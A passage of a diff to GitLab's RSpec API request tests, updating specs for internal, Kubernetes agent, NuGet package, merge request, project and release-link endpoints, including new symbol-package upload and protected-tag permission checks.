+ let(:expected_context) { { user: key.user.username, project: project.full_path } }
end
end
@@ -1236,7 +1246,7 @@ RSpec.describe API::Internal::Base do
it 'does not try to notify that project moved' do
allow_any_instance_of(Gitlab::Identifier).to receive(:identify).and_return(nil)
- expect(Gitlab::Checks::ProjectMoved).not_to receive(:fetch_message)
+ expect(Gitlab::Checks::ContainerMoved).not_to receive(:fetch_message)
subject
@@ -1244,33 +1254,17 @@ RSpec.describe API::Internal::Base do
end
end
- context 'when project is nil' do
- context 'with Project' do
- let(:gl_repository) { 'project-foo' }
-
- it 'does not try to notify that project moved' do
- allow(Gitlab::GlRepository).to receive(:parse).and_return([nil, nil, Gitlab::GlRepository::PROJECT])
-
- expect(Gitlab::Checks::ProjectMoved).not_to receive(:fetch_message)
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
-
- context 'with PersonalSnippet' do
- let(:gl_repository) { "snippet-#{personal_snippet.id}" }
+ context 'when container is nil' do
+ let(:gl_repository) { 'project-foo' }
- it 'does not try to notify that project moved' do
- allow(Gitlab::GlRepository).to receive(:parse).and_return([personal_snippet, nil, Gitlab::GlRepository::SNIPPET])
+ it 'does not try to notify that project moved' do
+ allow(Gitlab::GlRepository).to receive(:parse).and_return([nil, nil, Gitlab::GlRepository::PROJECT])
- expect(Gitlab::Checks::ProjectMoved).not_to receive(:fetch_message)
+ expect(Gitlab::Checks::ContainerMoved).not_to receive(:fetch_message)
- subject
+ subject
- expect(response).to have_gitlab_http_status(:ok)
- end
+ expect(response).to have_gitlab_http_status(:ok)
end
end
end
@@ -1378,29 +1372,6 @@ RSpec.describe API::Internal::Base do
end
end
- describe 'GET /internal/geo_proxy' do
- subject { get api('/internal/geo_proxy'), params: { secret_token: secret_token } }
-
- context 'with valid auth' do
- it 'returns empty data' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_empty
- end
- end
-
- context 'with invalid auth' do
- let(:secret_token) { 'invalid_token' }
-
- it 'returns unauthorized' do
- subject
-
- expect(response).to have_gitlab_http_status(:unauthorized)
- end
- end
- end
-
def lfs_auth_project(project)
post(
api("/internal/lfs_authenticate"),
diff --git a/spec/requests/api/internal/kubernetes_spec.rb b/spec/requests/api/internal/kubernetes_spec.rb
index 7a2cec974b9..2acf6951d50 100644
--- a/spec/requests/api/internal/kubernetes_spec.rb
+++ b/spec/requests/api/internal/kubernetes_spec.rb
@@ -133,36 +133,6 @@ RSpec.describe API::Internal::Kubernetes do
)
)
end
-
- context 'on GitLab.com' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(true)
- end
-
- context 'kubernetes_agent_on_gitlab_com feature flag disabled' do
- before do
- stub_feature_flags(kubernetes_agent_on_gitlab_com: false)
- end
-
- it 'returns 403' do
- send_request(headers: { 'Authorization' => "Bearer #{agent_token.token}" })
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'kubernetes_agent_on_gitlab_com feature flag enabled' do
- before do
- stub_feature_flags(kubernetes_agent_on_gitlab_com: agent_token.agent.project)
- end
-
- it 'returns success' do
- send_request(headers: { 'Authorization' => "Bearer #{agent_token.token}" })
-
- expect(response).to have_gitlab_http_status(:success)
- end
- end
- end
end
end
@@ -214,36 +184,6 @@ RSpec.describe API::Internal::Kubernetes do
expect(response).to have_gitlab_http_status(:not_found)
end
end
-
- context 'on GitLab.com' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(true)
- end
-
- context 'kubernetes_agent_on_gitlab_com feature flag disabled' do
- before do
- stub_feature_flags(kubernetes_agent_on_gitlab_com: false)
- end
-
- it 'returns 403' do
- send_request(params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
-
- context 'kubernetes_agent_on_gitlab_com feature flag enabled' do
- before do
- stub_feature_flags(kubernetes_agent_on_gitlab_com: agent_token.agent.project)
- end
-
- it 'returns success' do
- send_request(params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
-
- expect(response).to have_gitlab_http_status(:success)
- end
- end
- end
end
context 'project is private' do
diff --git a/spec/requests/api/labels_spec.rb b/spec/requests/api/labels_spec.rb
index 26377c40b73..4b6868f42bc 100644
--- a/spec/requests/api/labels_spec.rb
+++ b/spec/requests/api/labels_spec.rb
@@ -200,6 +200,36 @@ RSpec.describe API::Labels do
expect(json_response.map { |l| l['name'] }).to match_array([group_label.name, priority_label.name, label1.name])
end
+ context 'when search param is provided' do
+ context 'and user is subscribed' do
+ before do
+ priority_label.subscribe(user)
+ end
+
+ it 'returns subscribed true' do
+ get api("/projects/#{project.id}/labels?search=#{priority_label.name}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response[0]['name']).to eq(priority_label.name)
+ expect(json_response[0]['subscribed']).to be true
+ end
+ end
+
+ context 'and user is not subscribed' do
+ before do
+ priority_label.unsubscribe(user)
+ end
+
+ it 'returns subscribed false' do
+ get api("/projects/#{project.id}/labels?search=#{priority_label.name}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response[0]['name']).to eq(priority_label.name)
+ expect(json_response[0]['subscribed']).to be false
+ end
+ end
+ end
+
context 'when the with_counts parameter is set' do
before do
create(:labeled_issue, project: project, labels: [group_label], author: user)
diff --git a/spec/requests/api/lint_spec.rb b/spec/requests/api/lint_spec.rb
index 57aa0f36192..7fe516d3daa 100644
--- a/spec/requests/api/lint_spec.rb
+++ b/spec/requests/api/lint_spec.rb
@@ -19,6 +19,7 @@ RSpec.describe API::Lint do
context 'when authenticated' do
let_it_be(:api_user) { create(:user) }
+
it 'returns authorized' do
post api('/ci/lint', api_user), params: { content: 'content' }
@@ -43,6 +44,7 @@ RSpec.describe API::Lint do
context 'when authenticated' do
let_it_be(:api_user) { create(:user) }
+
it 'returns authentication success' do
post api('/ci/lint', api_user), params: { content: 'content' }
diff --git a/spec/requests/api/markdown_spec.rb b/spec/requests/api/markdown_spec.rb
index 35d91963ac9..faf671d350f 100644
--- a/spec/requests/api/markdown_spec.rb
+++ b/spec/requests/api/markdown_spec.rb
@@ -52,6 +52,7 @@ RSpec.describe API::Markdown do
context "when arguments are valid" do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:issue_url) { "http://#{Gitlab.config.gitlab.host}/#{issue.project.namespace.path}/#{issue.project.path}/-/issues/#{issue.iid}" }
let(:text) { ":tada: Hello world! :100: #{issue.to_reference}" }
diff --git a/spec/requests/api/merge_requests_spec.rb b/spec/requests/api/merge_requests_spec.rb
index 038c3bc552a..4b5fc57571b 100644
--- a/spec/requests/api/merge_requests_spec.rb
+++ b/spec/requests/api/merge_requests_spec.rb
@@ -1188,16 +1188,14 @@ RSpec.describe API::MergeRequests do
expect(json_response['target_project_id']).to eq(merge_request.target_project.id)
expect(json_response['draft']).to be false
expect(json_response['work_in_progress']).to be false
- expect(json_response['merge_when_pipeline_succeeds']).to be_falsy
+ expect(json_response['merge_when_pipeline_succeeds']).to be false
expect(json_response['merge_status']).to eq('can_be_merged')
- expect(json_response['should_close_merge_request']).to be_falsy
- expect(json_response['force_close_merge_request']).to be_falsy
expect(json_response['changes_count']).to eq(merge_request.merge_request_diff.real_size)
expect(json_response['merge_error']).to eq(merge_request.merge_error)
expect(json_response['user']['can_merge']).to be_truthy
expect(json_response).not_to include('rebase_in_progress')
- expect(json_response['first_contribution']).to be_falsy
- expect(json_response['has_conflicts']).to be_falsy
+ expect(json_response['first_contribution']).to be false
+ expect(json_response['has_conflicts']).to be false
expect(json_response['blocking_discussions_resolved']).to be_truthy
expect(json_response['references']['short']).to eq("!#{merge_request.iid}")
expect(json_response['references']['relative']).to eq("!#{merge_request.iid}")
@@ -1396,7 +1394,7 @@ RSpec.describe API::MergeRequests do
get api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user2)
- expect(json_response['user']['can_merge']).to be_falsy
+ expect(json_response['user']['can_merge']).to be false
end
it 'returns `checking` as its merge_status instead of `cannot_be_merged_rechecking`' do
@@ -2009,6 +2007,7 @@ RSpec.describe API::MergeRequests do
context 'forked projects', :sidekiq_might_not_need_inline do
let_it_be(:user2) { create(:user) }
+
let(:project) { create(:project, :public, :repository) }
let!(:forked_project) { fork_project(project, user2, repository: true) }
let!(:unrelated_project) { create(:project, namespace: create(:user).namespace, creator_id: user2.id) }
@@ -2664,7 +2663,7 @@ RSpec.describe API::MergeRequests do
)
expect(response).to have_gitlab_http_status(:ok)
- expect(source_repository.branch_exists?(source_branch)).to be_falsy
+ expect(source_repository.branch_exists?(source_branch)).to be false
end
end
@@ -2682,7 +2681,7 @@ RSpec.describe API::MergeRequests do
)
expect(response).to have_gitlab_http_status(:ok)
- expect(source_repository.branch_exists?(source_branch)).to be_falsy
+ expect(source_repository.branch_exists?(source_branch)).to be false
end
it 'does not remove the source branch' do
@@ -2804,7 +2803,7 @@ RSpec.describe API::MergeRequests do
it 'sets to true' do
merge_request.update!(merge_params: { 'force_remove_source_branch' => false } )
- expect(merge_request.force_remove_source_branch?).to be_falsey
+ expect(merge_request.force_remove_source_branch?).to be false
put api("/projects/#{project.id}/merge_requests/#{merge_request.iid}", user), params: { state_event: "close", remove_source_branch: true }
@@ -2889,6 +2888,7 @@ RSpec.describe API::MergeRequests do
context "forked projects" do
let_it_be(:user2) { create(:user) }
+
let(:project) { create(:project, :public, :repository) }
let!(:forked_project) { fork_project(project, user2, repository: true) }
let(:merge_request) do
diff --git a/spec/requests/api/metrics/dashboard/annotations_spec.rb b/spec/requests/api/metrics/dashboard/annotations_spec.rb
index 07de2925ee2..79a38702354 100644
--- a/spec/requests/api/metrics/dashboard/annotations_spec.rb
+++ b/spec/requests/api/metrics/dashboard/annotations_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe API::Metrics::Dashboard::Annotations do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :private, :repository, namespace: user.namespace) }
let_it_be(:environment) { create(:environment, project: project) }
+
let(:dashboard) { 'config/prometheus/common_metrics.yml' }
let(:starting_at) { Time.now.iso8601 }
let(:ending_at) { 1.hour.from_now.iso8601 }
diff --git a/spec/requests/api/metrics/user_starred_dashboards_spec.rb b/spec/requests/api/metrics/user_starred_dashboards_spec.rb
index 533dff05f27..7f019e1226a 100644
--- a/spec/requests/api/metrics/user_starred_dashboards_spec.rb
+++ b/spec/requests/api/metrics/user_starred_dashboards_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe API::Metrics::UserStarredDashboards do
let_it_be(:dashboard_yml) { fixture_file('lib/gitlab/metrics/dashboard/sample_dashboard.yml') }
let_it_be(:dashboard) { '.gitlab/dashboards/find&seek.yml' }
let_it_be(:project) { create(:project, :private, :repository, :custom_repo, namespace: user.namespace, files: { dashboard => dashboard_yml }) }
+
let(:url) { "/projects/#{project.id}/metrics/user_starred_dashboards" }
let(:params) do
{
diff --git a/spec/requests/api/nuget_project_packages_spec.rb b/spec/requests/api/nuget_project_packages_spec.rb
index 572736cfc86..f608f296295 100644
--- a/spec/requests/api/nuget_project_packages_spec.rb
+++ b/spec/requests/api/nuget_project_packages_spec.rb
@@ -92,9 +92,10 @@ RSpec.describe API::NugetProjectPackages do
describe 'GET /api/v4/projects/:id/packages/nuget/download/*package_name/*package_version/*package_filename' do
let_it_be(:package_name) { 'Dummy.Package' }
- let_it_be(:package) { create(:nuget_package, project: project, name: package_name) }
+ let_it_be(:package) { create(:nuget_package, :with_symbol_package, project: project, name: package_name) }
- let(:url) { "/projects/#{target.id}/packages/nuget/download/#{package.name}/#{package.version}/#{package.name}.#{package.version}.nupkg" }
+ let(:format) { 'nupkg' }
+ let(:url) { "/projects/#{target.id}/packages/nuget/download/#{package.name}/#{package.version}/#{package.name}.#{package.version}.#{format}" }
subject { get api(url) }
@@ -154,56 +155,14 @@ RSpec.describe API::NugetProjectPackages do
subject { put api(url), headers: headers }
- context 'with valid project' do
- where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget workhorse authorization' | :success
- 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | true | true | 'process nuget workhorse authorization' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
- let(:headers) { user_headers.merge(workhorse_headers) }
-
- before do
- update_visibility_to(Gitlab::VisibilityLevel.const_get(visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package uploads'
-
- it_behaves_like 'job token for package uploads', authorize_endpoint: true do
- let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
- end
-
- it_behaves_like 'rejects nuget access with unknown target id'
-
- it_behaves_like 'rejects nuget access with invalid target id'
+ it_behaves_like 'nuget authorize upload endpoint'
end
describe 'PUT /api/v4/projects/:id/packages/nuget' do
include_context 'workhorse headers'
let_it_be(:file_name) { 'package.nupkg' }
+
let(:url) { "/projects/#{target.id}/packages/nuget" }
let(:headers) { {} }
let(:params) { { package: temp_file(file_name) } }
@@ -221,63 +180,43 @@ RSpec.describe API::NugetProjectPackages do
)
end
- context 'with valid project' do
- where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget upload' | :created
- 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | true | true | 'process nuget upload' | :created
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
- let(:headers) { user_headers.merge(workhorse_headers) }
- let(:snowplow_gitlab_standard_context) { { project: project, user: user, namespace: project.namespace } }
-
- before do
- update_visibility_to(Gitlab::VisibilityLevel.const_get(visibility_level, false))
- end
+ it_behaves_like 'nuget upload endpoint'
+ end
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
+ describe 'PUT /api/v4/projects/:id/packages/nuget/symbolpackage/authorize' do
+ include_context 'workhorse headers'
- it_behaves_like 'deploy token for package uploads'
+ let(:url) { "/projects/#{target.id}/packages/nuget/symbolpackage/authorize" }
+ let(:headers) { {} }
- it_behaves_like 'job token for package uploads' do
- let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
- end
+ subject { put api(url), headers: headers }
- it_behaves_like 'rejects nuget access with unknown target id'
+ it_behaves_like 'nuget authorize upload endpoint'
+ end
- it_behaves_like 'rejects nuget access with invalid target id'
+ describe 'PUT /api/v4/projects/:id/packages/nuget/symbolpackage' do
+ include_context 'workhorse headers'
- context 'file size above maximum limit' do
- let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_headers) }
+ let_it_be(:file_name) { 'package.snupkg' }
- before do
- allow_next_instance_of(UploadedFile) do |uploaded_file|
- allow(uploaded_file).to receive(:size).and_return(project.actual_limits.nuget_max_file_size + 1)
- end
- end
+ let(:url) { "/projects/#{target.id}/packages/nuget/symbolpackage" }
+ let(:headers) { {} }
+ let(:params) { { package: temp_file(file_name) } }
+ let(:file_key) { :package }
+ let(:send_rewritten_field) { true }
- it_behaves_like 'returning response status', :bad_request
+ subject do
+ workhorse_finalize(
+ api(url),
+ method: :put,
+ file_key: file_key,
+ params: params,
+ headers: headers,
+ send_rewritten_field: send_rewritten_field
+ )
end
+
+ it_behaves_like 'nuget upload endpoint', symbol_package: true
end
def update_visibility_to(visibility)
diff --git a/spec/requests/api/project_attributes.yml b/spec/requests/api/project_attributes.yml
index 2932447f663..8341fac3191 100644
--- a/spec/requests/api/project_attributes.yml
+++ b/spec/requests/api/project_attributes.yml
@@ -137,6 +137,7 @@ project_setting:
- has_confluence
- has_vulnerabilities
- prevent_merge_without_jira_issue
+ - previous_default_branch
- project_id
- push_rule_id
- show_default_award_emojis
diff --git a/spec/requests/api/project_clusters_spec.rb b/spec/requests/api/project_clusters_spec.rb
index f784f677c25..253b61e5865 100644
--- a/spec/requests/api/project_clusters_spec.rb
+++ b/spec/requests/api/project_clusters_spec.rb
@@ -335,6 +335,7 @@ RSpec.describe API::ProjectClusters do
let(:namespace) { 'new-namespace' }
let(:platform_kubernetes_attributes) { { namespace: namespace } }
let_it_be(:management_project) { create(:project, namespace: project.namespace) }
+
let(:management_project_id) { management_project.id }
let(:update_params) do
diff --git a/spec/requests/api/project_container_repositories_spec.rb b/spec/requests/api/project_container_repositories_spec.rb
index 695d2c3fe2c..1170a9ba6cb 100644
--- a/spec/requests/api/project_container_repositories_spec.rb
+++ b/spec/requests/api/project_container_repositories_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe API::ProjectContainerRepositories do
let_it_be(:developer) { create(:user) }
let_it_be(:reporter) { create(:user) }
let_it_be(:guest) { create(:user) }
+
let(:root_repository) { create(:container_repository, :root, project: project) }
let(:test_repository) { create(:container_repository, project: project) }
let(:root_repository2) { create(:container_repository, :root, project: project2) }
diff --git a/spec/requests/api/project_milestones_spec.rb b/spec/requests/api/project_milestones_spec.rb
index 71535e66353..606279ec20a 100644
--- a/spec/requests/api/project_milestones_spec.rb
+++ b/spec/requests/api/project_milestones_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe API::ProjectMilestones do
let_it_be(:group) { create(:group, :private, parent: ancestor_group) }
let_it_be(:ancestor_group_milestone) { create(:milestone, group: ancestor_group) }
let_it_be(:group_milestone) { create(:milestone, group: group) }
+
let(:params) { { include_parent_milestones: true } }
shared_examples 'listing all milestones' do
diff --git a/spec/requests/api/project_snippets_spec.rb b/spec/requests/api/project_snippets_spec.rb
index 6a9cf6e16e2..8cd1f15a88d 100644
--- a/spec/requests/api/project_snippets_spec.rb
+++ b/spec/requests/api/project_snippets_spec.rb
@@ -138,7 +138,7 @@ RSpec.describe API::ProjectSnippets do
aggregate_failures do
expect(snippet.repository.exists?).to be_truthy
- blob = snippet.repository.blob_at('master', file_path)
+ blob = snippet.repository.blob_at(snippet.default_branch, file_path)
expect(blob.data).to eq file_content
end
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index 529a75af122..a869866c698 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -164,24 +164,21 @@ RSpec.describe API::Projects do
end
end
- shared_examples_for 'projects response without N + 1 queries' do
+ shared_examples_for 'projects response without N + 1 queries' do |threshold|
+ let(:additional_project) { create(:project, :public) }
+
it 'avoids N + 1 queries' do
+ get api('/projects', current_user)
+
control = ActiveRecord::QueryRecorder.new do
get api('/projects', current_user)
end
- if defined?(additional_project)
- additional_project
- else
- create(:project, :public)
- end
+ additional_project
- # TODO: We're currently querying to detect if a project is a fork
- # in 2 ways. Lower this back to 8 when `ForkedProjectLink` relation is
- # removed
expect do
get api('/projects', current_user)
- end.not_to exceed_query_limit(control).with_threshold(9)
+ end.not_to exceed_query_limit(control).with_threshold(threshold)
end
end
@@ -194,7 +191,7 @@ RSpec.describe API::Projects do
let(:projects) { [project] }
end
- it_behaves_like 'projects response without N + 1 queries' do
+ it_behaves_like 'projects response without N + 1 queries', 1 do
let(:current_user) { nil }
end
end
@@ -206,7 +203,7 @@ RSpec.describe API::Projects do
let(:projects) { user_projects }
end
- it_behaves_like 'projects response without N + 1 queries' do
+ it_behaves_like 'projects response without N + 1 queries', 0 do
let(:current_user) { user }
end
@@ -215,7 +212,7 @@ RSpec.describe API::Projects do
create(:project, :public, group: create(:group))
end
- it_behaves_like 'projects response without N + 1 queries' do
+ it_behaves_like 'projects response without N + 1 queries', 0 do
let(:current_user) { user }
let(:additional_project) { create(:project, :public, group: create(:group)) }
end
@@ -233,20 +230,6 @@ RSpec.describe API::Projects do
expect(project_response['container_registry_enabled']).to eq(false)
end
- it 'reads projects.container_registry_enabled when read_container_registry_access_level is disabled' do
- stub_feature_flags(read_container_registry_access_level: false)
-
- project.project_feature.update!(container_registry_access_level: ProjectFeature::DISABLED)
- project.update_column(:container_registry_enabled, true)
-
- get api('/projects', user)
- project_response = json_response.find { |p| p['id'] == project.id }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_an Array
- expect(project_response['container_registry_enabled']).to eq(true)
- end
-
it 'includes project topics' do
get api('/projects', user)
@@ -386,7 +369,7 @@ RSpec.describe API::Projects do
end
context 'when external issue tracker is enabled' do
- let!(:jira_service) { create(:jira_service, project: project) }
+ let!(:jira_integration) { create(:jira_integration, project: project) }
it 'includes open_issues_count' do
get api('/projects', user)
@@ -880,7 +863,7 @@ RSpec.describe API::Projects do
get api(url, current_user), params: params
link = response.header['Link']
- url = link&.match(/<[^>]+(\/projects\?[^>]+)>; rel="next"/) do |match|
+ url = link&.match(%r{<[^>]+(/projects\?[^>]+)>; rel="next"}) do |match|
match[1]
end
@@ -1016,7 +999,8 @@ RSpec.describe API::Projects do
request_access_enabled: true,
only_allow_merge_if_all_discussions_are_resolved: false,
ci_config_path: 'a/custom/path',
- merge_method: 'ff'
+ merge_method: 'ff',
+ squash_option: 'always'
}).tap do |attrs|
attrs[:operations_access_level] = 'disabled'
attrs[:analytics_access_level] = 'disabled'
@@ -2464,6 +2448,14 @@ RSpec.describe API::Projects do
describe 'GET /projects/:id/users' do
shared_examples_for 'project users response' do
+ let(:reporter_1) { create(:user) }
+ let(:reporter_2) { create(:user) }
+
+ before do
+ project.add_reporter(reporter_1)
+ project.add_reporter(reporter_2)
+ end
+
it 'returns the project users' do
get api("/projects/#{project.id}/users", current_user)
@@ -2472,12 +2464,15 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
- expect(json_response.size).to eq(1)
+ expect(json_response.size).to eq(3)
first_user = json_response.first
expect(first_user['username']).to eq(user.username)
expect(first_user['name']).to eq(user.name)
expect(first_user.keys).to include(*%w[name username id state avatar_url web_url])
+
+ ids = json_response.map { |raw_user| raw_user['id'] }
+ expect(ids).to eq([user.id, reporter_1.id, reporter_2.id])
end
end
@@ -2490,9 +2485,26 @@ RSpec.describe API::Projects do
context 'when authenticated' do
context 'valid request' do
- it_behaves_like 'project users response' do
- let(:project) { project4 }
- let(:current_user) { user4 }
+ context 'when sort_by_project_authorizations_user_id FF is off' do
+ before do
+ stub_feature_flags(sort_by_project_users_by_project_authorizations_user_id: false)
+ end
+
+ it_behaves_like 'project users response' do
+ let(:project) { project4 }
+ let(:current_user) { user4 }
+ end
+ end
+
+ context 'when sort_by_project_authorizations_user_id FF is on' do
+ before do
+ stub_feature_flags(sort_by_project_users_by_project_authorizations_user_id: true)
+ end
+
+ it_behaves_like 'project users response' do
+ let(:project) { project4 }
+ let(:current_user) { user4 }
+ end
end
end
@@ -3125,6 +3137,29 @@ RSpec.describe API::Projects do
expect(json_response['topics']).to eq(%w[topic2])
end
+
+ it 'updates squash_option' do
+ project3.update!(squash_option: 'always')
+
+ project_param = { squash_option: "default_on" }
+
+ expect { put api("/projects/#{project3.id}", user), params: project_param }
+ .to change { project3.reload.squash_option }
+ .from('always')
+ .to('default_on')
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['squash_option']).to eq("default_on")
+ end
+
+ it 'does not update an invalid squash_option' do
+ project_param = { squash_option: "jawn" }
+
+ expect { put api("/projects/#{project3.id}", user), params: project_param }
+ .not_to change { project3.reload.squash_option }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
end
context 'when authenticated as project maintainer' do
diff --git a/spec/requests/api/pypi_packages_spec.rb b/spec/requests/api/pypi_packages_spec.rb
index 86925e6a0ba..e66326db2a2 100644
--- a/spec/requests/api/pypi_packages_spec.rb
+++ b/spec/requests/api/pypi_packages_spec.rb
@@ -14,6 +14,7 @@ RSpec.describe API::PypiPackages do
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
+
let(:headers) { {} }
context 'simple API endpoint' do
@@ -117,6 +118,7 @@ RSpec.describe API::PypiPackages do
include_context 'workhorse headers'
let_it_be(:file_name) { 'package.whl' }
+
let(:url) { "/projects/#{project.id}/packages/pypi" }
let(:headers) { {} }
let(:requires_python) { '>=3.7' }
diff --git a/spec/requests/api/release/links_spec.rb b/spec/requests/api/release/links_spec.rb
index c03dd0331cf..00326426af5 100644
--- a/spec/requests/api/release/links_spec.rb
+++ b/spec/requests/api/release/links_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe API::Release::Links do
let(:project) { create(:project, :repository, :private) }
let(:maintainer) { create(:user) }
+ let(:developer) { create(:user) }
let(:reporter) { create(:user) }
let(:non_project_member) { create(:user) }
let(:commit) { create(:commit, project: project) }
@@ -18,6 +19,7 @@ RSpec.describe API::Release::Links do
before do
project.add_maintainer(maintainer)
+ project.add_developer(developer)
project.add_reporter(reporter)
project.repository.add_tag(maintainer, 'v0.1', commit.id)
@@ -196,6 +198,28 @@ RSpec.describe API::Release::Links do
expect(response).to match_response_schema('release/link')
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'accepts the request' do
+ post api("/projects/#{project.id}/releases/v0.1/assets/links", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'forbids the request' do
+ post api("/projects/#{project.id}/releases/v0.1/assets/links", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
context 'when name is empty' do
let(:params) do
{
@@ -290,6 +314,28 @@ RSpec.describe API::Release::Links do
expect(response).to match_response_schema('release/link')
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'accepts the request' do
+ put api("/projects/#{project.id}/releases/v0.1/assets/links/#{release_link.id}", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'forbids the request' do
+ put api("/projects/#{project.id}/releases/v0.1/assets/links/#{release_link.id}", developer), params: params
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
context 'when params is empty' do
let(:params) { {} }
@@ -365,6 +411,28 @@ RSpec.describe API::Release::Links do
expect(response).to match_response_schema('release/link')
end
+ context 'with protected tag' do
+ context 'when user has access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :developers_can_create, name: '*', project: project) }
+
+ it 'accepts the request' do
+ delete api("/projects/#{project.id}/releases/v0.1/assets/links/#{release_link.id}", developer)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'when user does not have access to the protected tag' do
+ let!(:protected_tag) { create(:protected_tag, :maintainers_can_create, name: '*', project: project) }
+
+ it 'forbids the request' do
+ delete api("/projects/#{project.id}/releases/v0.1/assets/links/#{release_link.id}", developer)
+
